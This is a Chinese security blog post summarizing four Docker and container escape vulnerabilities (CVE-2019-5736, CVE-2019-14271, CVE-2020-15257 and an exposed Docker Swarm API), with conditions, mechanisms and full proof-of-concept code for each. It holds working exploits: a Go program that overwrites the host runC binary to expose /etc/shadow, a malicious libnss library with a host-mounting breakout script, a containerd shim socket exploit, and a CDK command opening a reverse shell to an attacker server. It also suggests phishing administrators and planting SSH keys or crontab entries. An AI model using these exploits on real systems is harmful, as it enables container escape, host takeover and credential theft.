小九博客

  • 首页
  • 编程开发
  • 信息安全
  • 工具资源
  • 随笔
  • 在线工具
    • 在线图片水印
    • Json解析
    • JavaRuntimeExec
    • 加解密/编码工具集
  • 关于
小九博客
Hack The World!
  1. 首页
  2. 信息安全
  3. 正文

常见容器漏洞总结

2021年05月07日

云安全.jpg

本文在对常见容器漏洞进行了总结,在总结过程中发现了大量优秀的文章及利用工具集。未完待续..

https://security.tencent.com/index.php/blog/msg/183《红蓝对抗中的云原生漏洞挖掘及利用实录》

https://github.com/cdk-team/CDK 容器环境利用工具集

Docker-RunC漏洞致容器逃逸(CVE-2019-5736)

利用条件

  • Docker Version < 18.09.2
  • RunC Version <1.0-rc6
  • 攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限

漏洞原理

攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是/bin/bash,将它替换成指定解释器路径为#!/proc/self/exe的可执行脚本,在容器中执行/bin/bash时将执行/proc/self/exe,它指向host上的runC文件。然后攻击者可以继续写入/proc/self/exe试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开/proc/self/exe的文件描述符,然后通过/proc/self/fd/<nr>使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。

漏洞POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}

漏洞利用

1
2
3
4
#攻击者在容器内执行
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POC
chmod 777 main
./main #执行Payload

后续可结合钓鱼邮件等手法,等待运维人员去通过exec访问容器的/bin/bash。使用如下命令:

1
sudo docker exec -it  cafa20cfb0f9 /bin/sh

ref:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.anquanke.com/post/id/170762

Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)

利用条件

  • Docker Version == 19.03 && <19.03.1

漏洞原理

Docker采用Golang编写,更具体一些,存在漏洞的Docker版本采用Go v1.11编译。在这个版本中,包含嵌入式C代码(cgo)的某些package会在运行时动态加载共享库。这些package包括net及os/user,docker-tar都用到了这两个package,会在运行时动态加载一些libnss_*.so库。正常情况下,程序库会从宿主机的文件系统中加载,然而由于docker-tar会chroot到容器中,因此会从容器的文件系统中加载这些库。这意味着docker-tar会加载并执行受容器控制的代码。

漏洞POC

恶意so:libnss_files.so by C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;

rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");

if (!fork())
{

// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child

return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}

breakout脚本

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

漏洞利用

待完善,暂未复现,大致思路如下

1.编译libnss_files.c为libnss_files.so

2.修改breakout脚本,例如写ssh key 等

3.等待或通过钓鱼邮件等手段,使得运维人员执行docker cp

ref:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)

利用条件

  • containerd < 1.4.3
  • containerd < 1.3.9
  • 使用hostnetwork网络模式启动容器 && 使用root用户(UID:0)启动容器

漏洞原理

使用hostnetwork网络模式中,容器和主机共享网络命名空间,因此在容器内可以访问host特定的socket文件(shim.sock)。可通过启动一个新的容器,该容器挂在host目录到容器的/host目录,即可实现对host完全的读写。

漏洞POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"

"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}

client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}

log.Println("shim pid:", info.ShimPid)
return true
}

func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}

func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}

return
}

漏洞利用

1.下载容器渗透工具包

https://github.com/cdk-team/CDK/releases/tag/v1.0.1

2.在服务器NC监听端口

3.

1
2
chmod +x cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>

ref:

https://www.cdxy.me/?p=837

https://zhuanlan.zhihu.com/p/332334413

Docker-Swarm未授权访问致命令执行

利用条件

  • 使用Docker Swarm并且未对2375端口访问加任何限制访问措施

漏洞原理

在使用Docker Swarm的时候,管理的Docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行Docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在Docker CLI上执行Docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。

漏洞POC

1
docker -H tcp://x.x.x.x:2375 ps

漏洞利用

可通过挂载host目录,之后使用crontab或者写ssh key来利用。

标签 Docker 容器漏洞 容器逃逸 Docker漏洞
最后更新:2021年05月07日

文章评论

小九

Just For Fun

文章大纲
  1. Docker-RunC漏洞致容器逃逸(CVE-2019-5736)
    1. 利用条件
    2. 漏洞原理
    3. 漏洞POC
    4. 漏洞利用
  2. Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)
    1. 利用条件
    2. 漏洞原理
    3. 漏洞POC
    4. 漏洞利用
  3. Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)
    1. 利用条件
    2. 漏洞原理
    3. 漏洞POC
    4. 漏洞利用
  4. Docker-Swarm未授权访问致命令执行
    1. 利用条件
    2. 漏洞原理
    3. 漏洞POC
    4. 漏洞利用
分类目录
  • 编程开发
  • Yii2
  • 随笔
  • 工具资源
  • Django
  • 信息安全
标签聚合
dnspod ElasticSearch 攻击研究 算法 yii2-editable DatePicker
随机 最新 热点
随机 最新 热点
【[转]PHP资源大全】Awesome PHP 项目 DNSRebind攻击 Codeception(三) 自动化编排学习(一)部署篇 MySQL数据同步到ElasticSearch(Logstash方案)爬坑纪实 Django安装部署
OpenSearch集群部署 DNSRebind攻击 MySQL数据同步到ElasticSearch(Logstash方案)爬坑纪实 自动化编排学习(一)部署篇 常见容器漏洞总结 免费CDN加速手把手教程

COPYRIGHT © 2021 小九博客 ALL RIGHTS RESERVED.